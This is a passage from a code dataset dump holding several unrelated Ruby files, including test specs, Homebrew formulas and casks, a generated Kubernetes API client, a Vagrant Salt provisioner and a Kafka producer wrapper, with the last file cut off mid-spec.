hexsha
stringlengths 40
40
| size
int64 2
1.01M
| content
stringlengths 2
1.01M
| avg_line_length
float64 1.5
100
| max_line_length
int64 2
1k
| alphanum_fraction
float64 0.25
1
|
---|---|---|---|---|---|
abb1067227bf63993b148bbaad65673741a4144d | 2,391 | # frozen_string_literal: true
require "spec_helper"
RSpec.describe Asciidoctor::Standoc::Datamodel::DiagramPreprocessor do
describe "#process" do
context "when simple models without relations" do
let(:datamodel_file) do
examples_path("datamodel/common_models_diagram.adoc")
end
let(:result_file) do
examples_path("datamodel/common_models_diagram.xml")
end
let(:output) do
[
BLANK_HDR,
File.read(
fixtures_path("macros_datamodel/common_models_diagram.xml"),
),
].join
end
after do
%w[doc html xml err].each do |extention|
path = examples_path("datamodel/common_models_diagram.#{extention}")
FileUtils.rm_f(path)
FileUtils.rm_f("common_models_diagram.#{extention}")
end
FileUtils.rm_rf("common_models_diagram_htmlimages")
end
it "correctly renders input" do
Asciidoctor.convert_file(datamodel_file,
backend: :standoc,
safe: :safe,
header_footer: true)
expect(xmlpp(strip_src(strip_guid(File.read(result_file)))))
.to(be_equivalent_to(xmlpp(output)))
end
end
context "when complex relations" do
let(:datamodel_file) { examples_path("datamodel/top_down_diagram.adoc") }
let(:result_file) { examples_path("datamodel/top_down_diagram.xml") }
let(:output) do
[
BLANK_HDR,
File.read(fixtures_path("macros_datamodel/top_down_diagram.xml")),
].join("\n")
end
after do
%w[doc html xml err].each do |extention|
path = examples_path("datamodel/top_down_diagram.#{extention}")
FileUtils.rm_f(path)
FileUtils.rm_f("top_down_diagram.#{extention}")
end
FileUtils.rm_rf(examples_path("datamodel/plantuml"))
FileUtils.rm_rf("top_down_diagram_htmlimages")
end
it "correctly renders input" do
Asciidoctor.convert_file(datamodel_file,
backend: :standoc,
safe: :safe,
header_footer: true)
expect(xmlpp(strip_src(strip_guid(File.read(result_file)))))
.to(be_equivalent_to(xmlpp(output)))
end
end
end
end
| 32.753425 | 79 | 0.595567 |
33596f7c6155e39222650b99dabc750e04b9b88d | 1,523 | class Atk < Formula
desc "GNOME accessibility toolkit"
homepage "https://library.gnome.org/devel/atk/"
url "https://download.gnome.org/sources/atk/2.28/atk-2.28.1.tar.xz"
sha256 "cd3a1ea6ecc268a2497f0cd018e970860de24a6d42086919d6bf6c8e8d53f4fc"
bottle do
sha256 "b1abd123e7054ba1ec18f26bb18e4486b6daaccc25f0434c248b0036e4a1273f" => :high_sierra
sha256 "e2d74a738e96bd1f56a6609570e65d90df3dce28ae75eae6206e6d721d03bea3" => :sierra
sha256 "9950775c10f560113212bd755f22e1c4bc3b2ebb794f17e9f2e09d0a84e52bd0" => :el_capitan
end
depends_on "pkg-config" => :build
depends_on "glib"
depends_on "gobject-introspection"
def install
system "./configure", "--disable-dependency-tracking",
"--prefix=#{prefix}",
"--enable-introspection=yes"
system "make"
system "make", "install"
end
test do
(testpath/"test.c").write <<~EOS
#include <atk/atk.h>
int main(int argc, char *argv[]) {
const gchar *version = atk_get_version();
return 0;
}
EOS
gettext = Formula["gettext"]
glib = Formula["glib"]
flags = %W[
-I#{gettext.opt_include}
-I#{glib.opt_include}/glib-2.0
-I#{glib.opt_lib}/glib-2.0/include
-I#{include}/atk-1.0
-L#{gettext.opt_lib}
-L#{glib.opt_lib}
-L#{lib}
-latk-1.0
-lglib-2.0
-lgobject-2.0
]
flags << "-lintl" if OS.mac?
system ENV.cc, "test.c", "-o", "test", *flags
system "./test"
end
end
| 28.735849 | 93 | 0.635588 |
bb22e8ec3baa0d43126edd7cf23d7d69c8d6b4f1 | 2,304 | =begin
#Kubernetes
#No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen)
OpenAPI spec version: v1.13.4
Generated by: https://github.com/swagger-api/swagger-codegen.git
Swagger Codegen version: 2.2.3
=end
require "uri"
module Kubernetes
class AutoscalingApi
attr_accessor :api_client
def initialize(api_client = ApiClient.default)
@api_client = api_client
end
#
# get information of a group
# @param [Hash] opts the optional parameters
# @return [V1APIGroup]
def get_api_group(opts = {})
data, _status_code, _headers = get_api_group_with_http_info(opts)
return data
end
#
# get information of a group
# @param [Hash] opts the optional parameters
# @return [Array<(V1APIGroup, Fixnum, Hash)>] V1APIGroup data, response status code and response headers
def get_api_group_with_http_info(opts = {})
if @api_client.config.debugging
@api_client.config.logger.debug "Calling API: AutoscalingApi.get_api_group ..."
end
# resource path
local_var_path = "/apis/autoscaling/"
# query parameters
query_params = {}
# header parameters
header_params = {}
# HTTP header 'Accept' (if needed)
header_params['Accept'] = @api_client.select_header_accept(['application/json', 'application/yaml', 'application/vnd.kubernetes.protobuf'])
# HTTP header 'Content-Type'
header_params['Content-Type'] = @api_client.select_header_content_type(['application/json', 'application/yaml', 'application/vnd.kubernetes.protobuf'])
# form parameters
form_params = {}
# http body (model)
post_body = nil
auth_names = ['BearerToken']
data, status_code, headers = @api_client.call_api(:GET, local_var_path,
:header_params => header_params,
:query_params => query_params,
:form_params => form_params,
:body => post_body,
:auth_names => auth_names,
:return_type => 'V1APIGroup')
if @api_client.config.debugging
@api_client.config.logger.debug "API called: AutoscalingApi#get_api_group\nData: #{data.inspect}\nStatus code: #{status_code}\nHeaders: #{headers}"
end
return data, status_code, headers
end
end
end
| 31.561644 | 157 | 0.681424 |
4ac631363497fff80f7611a5a1aaef3e31eaa5e6 | 941 | # frozen_string_literal: true
Gem::Specification.new do |spec|
spec.name = "typographical"
spec.version = "1.1.22"
spec.authors = ["Ram Iyer"]
spec.email = ["[email protected]"]
spec.summary = %{A typography-focused theme based on Tale by Chester How.}
spec.homepage = "https://iam.ramiyer.me"
spec.license = "MIT"
spec.files = `git ls-files -z`.split("\x0").select { |f| f.match(%r!^(assets|_layouts|_includes|_sass|LICENSE|README)!i) }
spec.add_runtime_dependency "jekyll", ">= 4.0.0"
spec.add_runtime_dependency "jekyll-paginate", "~> 1.1"
spec.add_runtime_dependency "jekyll-feed", "~> 0.13.0"
spec.add_runtime_dependency 'jekyll-seo-tag', '~> 2.6', '>= 2.6.1'
spec.add_runtime_dependency 'jekyll-sitemap', '~> 1.4', '>= 1.4.0'
spec.add_development_dependency "bundler", ">= 1.16"
spec.add_development_dependency "rake", "~> 12.0"
end
| 39.208333 | 132 | 0.645058 |
5dd899cac173d4cd0885d0c779a04436f88d52b8 | 441 | cask :v1 => 'hashcat' do
version '0.48'
sha256 '39fee1757b33b3e7232ce3797f0be024fa784dbbd0939b475b5b1ea7462cec5e'
url "https://hashcat.net/files/hashcat-#{version}.7z"
homepage 'https://hashcat.net/hashcat/'
license :unknown # todo: change license and remove this comment; ':unknown' is a machine-generated placeholder
depends_on :formula => 'unar'
binary "hashcat-#{version}/hashcat-cli64.app", :target => 'hashcat'
end
| 33.923077 | 115 | 0.734694 |
183c61eb6de7c71e125b0cae1554a815ef21140a | 284 | module Twitter
module Enumerable
include ::Enumerable
# @return [Enumerator]
def each(start = 0, &block)
return to_enum(:each) unless block_given?
Array(@collection[start..-1]).each do |element|
yield element
end
self
end
end
end
| 17.75 | 53 | 0.619718 |
012d6da00ca8988d1aee2c912dc164df6132c0d5 | 1,246 | class Sops < Formula
desc "Editor of encrypted files"
homepage "https://github.com/mozilla/sops"
url "https://github.com/mozilla/sops/archive/v3.7.1.tar.gz"
sha256 "536ee140d888b53b71c1e8edd669f4c11bc573428983fbea644fbbfcd7d7079a"
license "MPL-2.0"
head "https://github.com/mozilla/sops.git", branch: "develop"
bottle do
sha256 cellar: :any_skip_relocation, arm64_big_sur: "6ed7327988bf2db73d4883d5c4e280cd5e576980b15cd584841175714e9a6a17"
sha256 cellar: :any_skip_relocation, big_sur: "786527c0a00ac74579e50623298aef7f5a996d63211c08d14b87999255f41809"
sha256 cellar: :any_skip_relocation, catalina: "f95b128d36ffb171695376d011dbf1fc971117152367c109f6232949b45e710a"
sha256 cellar: :any_skip_relocation, mojave: "edc533e3636e05deb0a854a1c3950dfdbeb01ac38f7ef6d8857426d55991a542"
end
depends_on "go" => :build
def install
system "go", "build", "-o", bin/"sops", "go.mozilla.org/sops/v3/cmd/sops"
pkgshare.install "example.yaml"
end
test do
assert_match version.to_s, shell_output("#{bin}/sops --version")
assert_match "Recovery failed because no master key was able to decrypt the file.",
shell_output("#{bin}/sops #{pkgshare}/example.yaml 2>&1", 128)
end
end
| 41.533333 | 122 | 0.757624 |
87af7cc7dacb6b88a57da65b822dac512e3abc0d | 12,124 | require 'json'
module VagrantPlugins
module Salt
class Provisioner < Vagrant.plugin("2", :provisioner)
def provision
upload_configs
upload_keys
run_bootstrap_script
call_overstate
call_highstate
end
# Return a list of accepted keys
def keys(group='minions')
out = @machine.communicate.sudo("salt-key --out json") do |type, output|
begin
if type == :stdout
out = JSON::load(output)
break out[group]
end
end
end
return out
end
## Utilities
def expanded_path(rel_path)
Pathname.new(rel_path).expand_path(@machine.env.root_path)
end
def binaries_found
## Determine States, ie: install vs configure
desired_binaries = []
if [email protected]_minion
if @machine.config.vm.communicator == :winrm
desired_binaries.push('C:\\salt\\salt-minion.exe')
desired_binaries.push('C:\\salt\\salt-call.exe')
else
desired_binaries.push('salt-minion')
desired_binaries.push('salt-call')
end
end
if @config.install_master
if @machine.config.vm.communicator == :winrm
raise Vagrant::Errors::ProvisionerWinRMUnsupported,
name: "salt.install_master"
else
desired_binaries.push('salt-master')
end
end
if @config.install_syndic
if @machine.config.vm.communicator == :winrm
raise Vagrant::Errors::ProvisionerWinRMUnsupported,
name: "salt.install_syndic"
else
desired_binaries.push('salt-syndic')
end
end
found = true
for binary in desired_binaries
@machine.env.ui.info "Checking if %s is installed" % binary
if [email protected]("which %s" % binary)
@machine.env.ui.info "%s was not found." % binary
found = false
else
@machine.env.ui.info "%s found" % binary
end
end
return found
end
def need_configure
@config.minion_config or @config.minion_key or @config.master_config or @config.master_key or @config.grains_config
end
def need_install
if @config.always_install
return true
else
return !binaries_found()
end
end
def temp_config_dir
if @machine.config.vm.communicator == :winrm
return @config.temp_config_dir || "C:\\tmp"
else
return @config.temp_config_dir || "/tmp"
end
end
# Generates option string for bootstrap script
def bootstrap_options(install, configure, config_dir)
options = ""
# Any extra options passed to bootstrap
if @config.bootstrap_options
options = "%s %s" % [options, @config.bootstrap_options]
end
if configure
options = "%s -F -c %s" % [options, config_dir]
end
if @config.seed_master && @config.install_master
seed_dir = "/tmp/minion-seed-keys"
@machine.communicate.sudo("mkdir -p -m777 #{seed_dir}")
@config.seed_master.each do |name, keyfile|
sourcepath = expanded_path(keyfile).to_s
dest = "#{seed_dir}/#{name}"
@machine.communicate.upload(sourcepath, dest)
end
options = "#{options} -k #{seed_dir}"
end
if configure && !install
options = "%s -C" % options
end
if @config.install_master
options = "%s -M" % options
end
if @config.install_syndic
options = "%s -S" % options
end
if @config.no_minion
options = "%s -N" % options
end
if @config.install_type
options = "%s %s" % [options, @config.install_type]
end
if @config.install_args
options = "%s %s" % [options, @config.install_args]
end
if @config.verbose
@machine.env.ui.info "Using Bootstrap Options: %s" % options
end
return options
end
## Actions
# Get pillar string to pass with the salt command
def get_pillar
" pillar='#{@config.pillar_data.to_json}'" if [email protected]_data.empty?
end
# Get colorization option string to pass with the salt command
def get_colorize
@config.colorize ? " --force-color" : " --no-color"
end
# Get log output level option string to pass with the salt command
def get_loglevel
log_levels = ["all", "garbage", "trace", "debug", "info", "warning", "error", "quiet"]
if log_levels.include? @config.log_level
" --log-level=#{@config.log_level}"
else
" --log-level=debug"
end
end
# Copy master and minion configs to VM
def upload_configs
if @config.minion_config
@machine.env.ui.info "Copying salt minion config to vm."
@machine.communicate.upload(expanded_path(@config.minion_config).to_s, temp_config_dir + "/minion")
end
if @config.master_config
@machine.env.ui.info "Copying salt master config to vm."
@machine.communicate.upload(expanded_path(@config.master_config).to_s, temp_config_dir + "/master")
end
if @config.grains_config
@machine.env.ui.info "Copying salt grains config to vm."
@machine.communicate.upload(expanded_path(@config.grains_config).to_s, temp_config_dir + "/grains")
end
end
# Copy master and minion keys to VM
def upload_keys
if @config.minion_key and @config.minion_pub
@machine.env.ui.info "Uploading minion keys."
@machine.communicate.upload(expanded_path(@config.minion_key).to_s, temp_config_dir + "/minion.pem")
@machine.communicate.sudo("chmod u+w #{temp_config_dir}/minion.pem")
@machine.communicate.upload(expanded_path(@config.minion_pub).to_s, temp_config_dir + "/minion.pub")
end
if @config.master_key and @config.master_pub
@machine.env.ui.info "Uploading master keys."
@machine.communicate.upload(expanded_path(@config.master_key).to_s, temp_config_dir + "/master.pem")
@machine.communicate.sudo("chmod u+w #{temp_config_dir}/master.pem")
@machine.communicate.upload(expanded_path(@config.master_pub).to_s, temp_config_dir + "/master.pub")
end
end
# Get bootstrap file location, bundled or custom
def get_bootstrap
if @config.bootstrap_script
bootstrap_abs_path = expanded_path(@config.bootstrap_script)
else
if @machine.config.vm.communicator == :winrm
bootstrap_abs_path = Pathname.new("../bootstrap-salt.ps1").expand_path(__FILE__)
else
bootstrap_abs_path = Pathname.new("../bootstrap-salt.sh").expand_path(__FILE__)
end
end
return bootstrap_abs_path
end
# Determine if we are configure and/or installing, then do either
def run_bootstrap_script
install = need_install()
configure = need_configure()
config_dir = temp_config_dir()
options = bootstrap_options(install, configure, config_dir)
if configure or install
if configure and !install
@machine.env.ui.info "Salt binaries found. Configuring only."
else
@machine.env.ui.info "Bootstrapping Salt... (this may take a while)"
end
bootstrap_path = get_bootstrap
if @machine.config.vm.communicator == :winrm
bootstrap_destination = File.join(config_dir, "bootstrap_salt.ps1")
else
bootstrap_destination = File.join(config_dir, "bootstrap_salt.sh")
end
if @machine.communicate.test("test -f %s" % bootstrap_destination)
@machine.communicate.sudo("rm -f %s" % bootstrap_destination)
end
@machine.communicate.upload(bootstrap_path.to_s, bootstrap_destination)
@machine.communicate.sudo("chmod +x %s" % bootstrap_destination)
if @machine.config.vm.communicator == :winrm
bootstrap = @machine.communicate.sudo("powershell.exe -executionpolicy bypass -file %s" % [bootstrap_destination]) do |type, data|
if data[0] == "\n"
# Remove any leading newline but not whitespace. If we wanted to
# remove newlines and whitespace we would have used data.lstrip
data = data[1..-1]
end
if @config.verbose
@machine.env.ui.info(data.rstrip)
end
end
else
bootstrap = @machine.communicate.sudo("%s %s" % [bootstrap_destination, options]) do |type, data|
if data[0] == "\n"
# Remove any leading newline but not whitespace. If we wanted to
# remove newlines and whitespace we would have used data.lstrip
data = data[1..-1]
end
if @config.verbose
@machine.env.ui.info(data.rstrip)
end
end
end
if !bootstrap
raise Salt::Errors::SaltError, :bootstrap_failed
end
if configure and !install
@machine.env.ui.info "Salt successfully configured!"
elsif configure and install
@machine.env.ui.info "Salt successfully configured and installed!"
elsif !configure and install
@machine.env.ui.info "Salt successfully installed!"
end
else
@machine.env.ui.info "Salt did not need installing or configuring."
end
end
def call_overstate
if @config.run_overstate
if @config.install_master
@machine.env.ui.info "Calling state.overstate... (this may take a while)"
@machine.communicate.sudo("salt '*' saltutil.sync_all")
@machine.communicate.sudo("salt-run state.over") do |type, data|
if @config.verbose
@machine.env.ui.info(data)
end
end
else
@machine.env.ui.info "run_overstate does not make sense on a minion. Not running state.overstate."
end
else
@machine.env.ui.info "run_overstate set to false. Not running state.overstate."
end
end
def call_highstate
if @config.run_highstate
@machine.env.ui.info "Calling state.highstate... (this may take a while)"
if @config.install_master
@machine.communicate.sudo("salt '*' saltutil.sync_all")
@machine.communicate.sudo("salt '*' state.highstate --verbose#{get_loglevel}#{get_colorize}#{get_pillar}") do |type, data|
if @config.verbose
@machine.env.ui.info(data.rstrip)
end
end
else
if @machine.config.vm.communicator == :winrm
opts = { elevated: true }
@machine.communicate.execute("C:\\salt\\salt-call.exe saltutil.sync_all", opts)
@machine.communicate.execute("C:\\salt\\salt-call.exe state.highstate --retcode-passthrough #{get_loglevel}#{get_colorize}#{get_pillar}", opts) do |type, data|
if @config.verbose
@machine.env.ui.info(data.rstrip)
end
end
else
@machine.communicate.sudo("salt-call saltutil.sync_all")
@machine.communicate.sudo("salt-call state.highstate --retcode-passthrough #{get_loglevel}#{get_colorize}#{get_pillar}") do |type, data|
if @config.verbose
@machine.env.ui.info(data.rstrip)
end
end
end
end
else
@machine.env.ui.info "run_highstate set to false. Not running state.highstate."
end
end
end
end
end
| 35.450292 | 173 | 0.587265 |
7920f28806e56d47295fdf440b45f87f026c3b51 | 1,043 | require 'test_helper'
class NavigationTest < ActionDispatch::IntegrationTest
setup { MongoMetrics::Metric.delete_all }
test "can visualize notifications" do
get main_app.home_foo_path
get main_app.home_bar_path
get main_app.home_baz_path
get mongo_metrics.root_path
assert_match "Path: /home/foo", response.body
assert_match "Path: /home/bar", response.body
assert_match "Path: /home/baz", response.body
end
test "can destroy notifications" do
get main_app.home_foo_path
metric = MongoMetrics::Metric.first
delete mongo_metrics.metric_path(metric)
assert_empty MongoMetrics::Metric.where(id: metric.id)
end
test "does not log engine actions" do
get mongo_metrics.root_path
assert 0, MongoMetrics::Metric.count
end
test "exports data to csv" do
get main_app.home_foo_path
get mongo_metrics.metrics_path(format: :csv)
assert_match "process_action.action_controller,", response.body
end
# fixtures :all
# test "the truth" do
# assert true
# end
end
| 25.439024 | 67 | 0.738255 |
3961595b96920c2b6ed95368448b982f68e94797 | 370 | cask :v1 => 'tiled' do
version '0.11.0'
sha256 '82d9c33f02b1f048807e55728331e1c94c92a9cd3cb83d1bc6dc89cf7655e1be'
# github.com is the official download host per the vendor homepage
url "https://github.com/bjorn/tiled/releases/download/v#{version}/tiled-#{version}.dmg"
name 'Tiled'
homepage 'http://www.mapeditor.org/'
license :gpl
app 'Tiled.app'
end
| 28.461538 | 89 | 0.740541 |
ff32bac4c705d37a5d90252a0aeed4b5dadd8ced | 235 | # frozen_string_literal: true
class CreateProhibitionAndResponsibilities < ActiveRecord::Migration[5.2]
def change
create_table :prohibition_and_responsibilities do |t|
t.string :item
t.timestamps
end
end
end
| 19.583333 | 73 | 0.748936 |
1a5e1faa7ac48db41c943252b7d48c0c1729e77e | 165 | # frozen_string_literal: true
module PortalHelper
def active_status_class
'active_status'
end
def status_active?(status)
status = "Active"
end
end
| 13.75 | 29 | 0.733333 |
39b0ad344a53a6fa2fba7dd9b8067ac158e7d14a | 1,394 | # frozen_string_literal: true
# WARNING ABOUT GENERATED CODE
#
# This file is generated. See the contributing guide for more information:
# https://github.com/aws/aws-sdk-ruby/blob/master/CONTRIBUTING.md
#
# WARNING ABOUT GENERATED CODE
require 'aws-sdk-core'
require 'aws-sigv4'
require_relative 'aws-sdk-securityhub/types'
require_relative 'aws-sdk-securityhub/client_api'
require_relative 'aws-sdk-securityhub/client'
require_relative 'aws-sdk-securityhub/errors'
require_relative 'aws-sdk-securityhub/resource'
require_relative 'aws-sdk-securityhub/customizations'
# This module provides support for AWS SecurityHub. This module is available in the
# `aws-sdk-securityhub` gem.
#
# # Client
#
# The {Client} class provides one method for each API operation. Operation
# methods each accept a hash of request parameters and return a response
# structure.
#
# security_hub = Aws::SecurityHub::Client.new
# resp = security_hub.accept_invitation(params)
#
# See {Client} for more information.
#
# # Errors
#
# Errors returned from AWS SecurityHub are defined in the
# {Errors} module and all extend {Errors::ServiceError}.
#
# begin
# # do stuff
# rescue Aws::SecurityHub::Errors::ServiceError
# # rescues all AWS SecurityHub API errors
# end
#
# See {Errors} for more information.
#
# @!group service
module Aws::SecurityHub
GEM_VERSION = '1.40.0'
end
| 25.814815 | 83 | 0.749641 |
62dfc045d9334e25f2a68b748b19023ca20d15a4 | 1,722 | # Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may cause incorrect behavior and will be lost if the code is
# regenerated.
module Azure::EventGrid::Mgmt::V2020_01_01_preview
module Models
#
# BoolEquals Advanced Filter.
#
class BoolEqualsAdvancedFilter < AdvancedFilter
include MsRestAzure
def initialize
@operatorType = "BoolEquals"
end
attr_accessor :operatorType
# @return [Boolean] The boolean filter value.
attr_accessor :value
#
# Mapper for BoolEqualsAdvancedFilter class as Ruby Hash.
# This will be used for serialization/deserialization.
#
def self.mapper()
{
client_side_validation: true,
required: false,
serialized_name: 'BoolEquals',
type: {
name: 'Composite',
class_name: 'BoolEqualsAdvancedFilter',
model_properties: {
key: {
client_side_validation: true,
required: false,
serialized_name: 'key',
type: {
name: 'String'
}
},
operatorType: {
client_side_validation: true,
required: true,
serialized_name: 'operatorType',
type: {
name: 'String'
}
},
value: {
client_side_validation: true,
required: false,
serialized_name: 'value',
type: {
name: 'Boolean'
}
}
}
}
}
end
end
end
end
| 24.956522 | 70 | 0.5 |
7ae9dcbcb819d623d02297149c6d67ff74a683cb | 986 | # Encoding: utf-8
#
# This is auto-generated code, changes will be overwritten.
#
# Copyright:: Copyright 2015, Google Inc. All Rights Reserved.
# License:: Licensed under the Apache License, Version 2.0.
#
# Code generated by AdsCommon library 0.9.9 on 2015-06-30 09:24:51.
require 'ads_common/savon_service'
require 'adwords_api/v201603/report_definition_service_registry'
module AdwordsApi; module V201603; module ReportDefinitionService
class ReportDefinitionService < AdsCommon::SavonService
def initialize(config, endpoint)
namespace = 'https://adwords.google.com/api/adwords/cm/v201603'
super(config, endpoint, namespace, :v201603)
end
def get_report_fields(*args, &block)
return execute_action('get_report_fields', args, &block)
end
private
def get_service_registry()
return ReportDefinitionServiceRegistry
end
def get_module()
return AdwordsApi::V201603::ReportDefinitionService
end
end
end; end; end
| 28.171429 | 69 | 0.744422 |
7a77616e01e5398304b7534d06ebc9f5db274050 | 4,765 | # frozen_string_literal: true
#
# Copyright:: 2020, Chef Software, Inc.
# Author:: Tim Smith (<[email protected]>)
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
require 'spec_helper'
describe RuboCop::Cop::Chef::Modernize::UseMultipackageInstalls, :config do
it 'registers an offense when iterating over an array of packages in a case statement' do
expect_offense(<<~RUBY)
case node['platform']
when 'ubuntu'
include_recipe 'apt'
%w(bmon htop vim curl).each do |pkg|
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Pass an array of packages to package resources instead of iterating over an array of packages when using multi-package capable package subsystem such as apt, yum, chocolatey, dnf, or zypper. Multi-package installs are faster and simplify logs.
package pkg do
action :install
end
end
end
RUBY
expect_correction(<<~RUBY)
case node['platform']
when 'ubuntu'
include_recipe 'apt'
package %w(bmon htop vim curl)
end
RUBY
end
it 'does not fail with an empty when statement' do
expect_no_offenses(<<~RUBY)
case node['platform_family']
when 'debian'
# nothing here
end
RUBY
end
it 'does not fail if the when is a regex' do
expect_no_offenses(<<~RUBY)
case node['platform_family']
when /debian/
package 'it-is-fine'
end
RUBY
end
it 'registers an offense when iterating over an array of packages in a case statement with a non-block package resource' do
expect_offense(<<~RUBY)
case node['platform']
when 'ubuntu'
%w(bmon htop vim curl).each do |pkg|
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Pass an array of packages to package resources instead of iterating over an array of packages when using multi-package capable package subsystem such as apt, yum, chocolatey, dnf, or zypper. Multi-package installs are faster and simplify logs.
package pkg
end
end
RUBY
expect_correction(<<~RUBY)
case node['platform']
when 'ubuntu'
package %w(bmon htop vim curl)
end
RUBY
end
it 'registers an offense when iterating over an array of packages in a platform? check with a non-block package resource' do
expect_offense(<<~RUBY)
if platform?('ubuntu')
%w(bmon htop vim curl).each do |pkg|
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Pass an array of packages to package resources instead of iterating over an array of packages when using multi-package capable package subsystem such as apt, yum, chocolatey, dnf, or zypper. Multi-package installs are faster and simplify logs.
package pkg
end
end
RUBY
expect_correction(<<~RUBY)
if platform?('ubuntu')
package %w(bmon htop vim curl)
end
RUBY
end
it 'registers an offense when iterating over an array of packages in a platform? check' do
expect_offense(<<~RUBY)
if platform?('ubuntu')
%w(bmon htop vim curl).each do |pkg|
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Pass an array of packages to package resources instead of iterating over an array of packages when using multi-package capable package subsystem such as apt, yum, chocolatey, dnf, or zypper. Multi-package installs are faster and simplify logs.
package pkg do
action :install
end
end
end
RUBY
expect_correction(<<~RUBY)
if platform?('ubuntu')
package %w(bmon htop vim curl)
end
RUBY
end
it "doesn't register an offense when iterating over packages in a case statement on a non-multi-package platform" do
expect_no_offenses(<<~RUBY)
case node['platform']
when 'mac_os_x'
%w(bmon htop vim curl).each do |pkg|
package pkg do
action :install
end
end
end
RUBY
end
it "doesn't register an offense when iterating over packages in a platform? check on a non-multi-package platform" do
expect_no_offenses(<<~RUBY)
if platform?('mac_os_x')
%w(bmon htop vim curl).each do |pkg|
package pkg do
action :install
end
end
end
RUBY
end
end
| 32.862069 | 288 | 0.642392 |
ab8a5c112bad6cbc7cbc372d73bae9d1801d4491 | 3,492 | module DeliveryBoy
# This class implements the actual logic of DeliveryBoy. The DeliveryBoy module
# has a module-level singleton instance.
class Instance
def initialize(config, logger)
@config = config
@logger = logger
@async_producer = nil
end
def deliver(value, topic:, **options)
sync_producer.produce(value, topic: topic, **options)
sync_producer.deliver_messages
rescue
# Make sure to clear any buffered messages if there's an error.
clear_buffer
raise
end
def deliver_async!(value, topic:, **options)
async_producer.produce(value, topic: topic, **options)
end
def shutdown
sync_producer.shutdown if sync_producer?
async_producer.shutdown if async_producer?
end
def produce(value, topic:, **options)
sync_producer.produce(value, topic: topic, **options)
end
def deliver_messages
sync_producer.deliver_messages
end
def clear_buffer
sync_producer.clear_buffer
end
private
attr_reader :config, :logger
def sync_producer
# We want synchronous producers to be per-thread in order to avoid problems with
# concurrent deliveries.
Thread.current[:delivery_boy_sync_producer] ||= kafka.producer(**producer_options)
end
def sync_producer?
Thread.current.key?(:delivery_boy_sync_producer)
end
def async_producer
# The async producer doesn't have to be per-thread, since all deliveries are
# performed by a single background thread.
@async_producer ||= kafka.async_producer(
max_queue_size: config.max_queue_size,
delivery_threshold: config.delivery_threshold,
delivery_interval: config.delivery_interval,
**producer_options,
)
end
def async_producer?
!@async_producer.nil?
end
def kafka
@kafka ||= Kafka.new(
seed_brokers: config.brokers,
client_id: config.client_id,
logger: logger,
connect_timeout: config.connect_timeout,
socket_timeout: config.socket_timeout,
ssl_ca_cert: config.ssl_ca_cert,
ssl_ca_cert_file_path: config.ssl_ca_cert_file_path,
ssl_client_cert: config.ssl_client_cert,
ssl_client_cert_key: config.ssl_client_cert_key,
ssl_ca_certs_from_system: config.ssl_ca_certs_from_system,
ssl_verify_hostname: config.ssl_verify_hostname,
sasl_gssapi_principal: config.sasl_gssapi_principal,
sasl_gssapi_keytab: config.sasl_gssapi_keytab,
sasl_plain_authzid: config.sasl_plain_authzid,
sasl_plain_username: config.sasl_plain_username,
sasl_plain_password: config.sasl_plain_password,
sasl_scram_username: config.sasl_scram_username,
sasl_scram_password: config.sasl_scram_password,
sasl_scram_mechanism: config.sasl_scram_mechanism,
sasl_over_ssl: config.sasl_over_ssl
)
end
# Options for both the sync and async producers.
def producer_options
{
required_acks: config.required_acks,
ack_timeout: config.ack_timeout,
max_retries: config.max_retries,
retry_backoff: config.retry_backoff,
max_buffer_size: config.max_buffer_size,
max_buffer_bytesize: config.max_buffer_bytesize,
compression_codec: (config.compression_codec.to_sym if config.compression_codec),
compression_threshold: config.compression_threshold,
}
end
end
end
| 31.178571 | 89 | 0.70504 |
1864c0c48ac950c71227f8266c96490f0c7942cb | 696 | require 'rails_helper'
RSpec.describe "offers/index", :type => :view do
before(:each) do
assign(:offers, [
Offer.create!(
:title => "Title",
:desc => "MyText",
:code => "Code",
:link => "Link"
),
Offer.create!(
:title => "Title",
:desc => "MyText",
:code => "Code",
:link => "Link"
)
])
end
it "renders a list of offers" do
render
assert_select "tr>td", :text => "Title".to_s, :count => 2
assert_select "tr>td", :text => "MyText".to_s, :count => 2
assert_select "tr>td", :text => "Code".to_s, :count => 2
assert_select "tr>td", :text => "Link".to_s, :count => 2
end
end
| 24 | 62 | 0.507184 |
62b91d0b192e7e6324c7afeadd85f653d572d152 | 1,189 | module SessionsHelper
def log_in(user)
session[:user_id] = user.id
end
def remember(user)
user.remember
cookies.permanent.signed[:user_id] = user.id
cookies.permanent[:remember_token] = user.remember_token
end
def current_user?(user)
user == current_user
end
def current_user
if (user_id = session[:user_id])
@current_user ||= User.find_by(id: user_id)
elsif (user_id = cookies.signed[:user_id])
user = User.find_by(id: user_id)
if user && user.authenticated?(:remember, cookies[:remember_token])
log_in user
@current_user = user
end
end
end
def logged_in?
!current_user.nil?
end
# 永続的セッションを破棄する
def forget(user)
user.forget
cookies.delete(:user_id)
cookies.delete(:remember_token)
end
def log_out
forget(current_user)
session.delete(:user_id)
@current_user = nil
end
# 記憶したURL (もしくはデフォルト値) にリダイレクト
def redirect_back_or(default)
redirect_to(session[:forwarding_url] || default)
session.delete(:forwarding_url)
end
# アクセスしようとしたURLを覚えておく
def store_location
session[:forwarding_url] = request.original_url if request.get?
end
end
| 21.232143 | 73 | 0.68545 |
399dbb31987b08f7fdb9dc80869da634ecb1fb3d | 7,268 | # frozen_string_literal: true
require 'rails_helper'
require "#{Rails.root}/lib/wiki_api"
describe WikiApi do
describe 'error handling' do
let(:subject) { described_class.new.get_page_content('Ragesoss') }
it 'handles mediawiki 503 errors gracefully' do
stub_wikipedia_503_error
expect(subject).to eq(nil)
end
it 'handles timeout errors gracefully' do
allow_any_instance_of(MediawikiApi::Client).to receive(:send)
.and_raise(Faraday::TimeoutError)
expect(subject).to eq(nil)
end
it 'handles API errors gracefully' do
allow_any_instance_of(MediawikiApi::Client).to receive(:send)
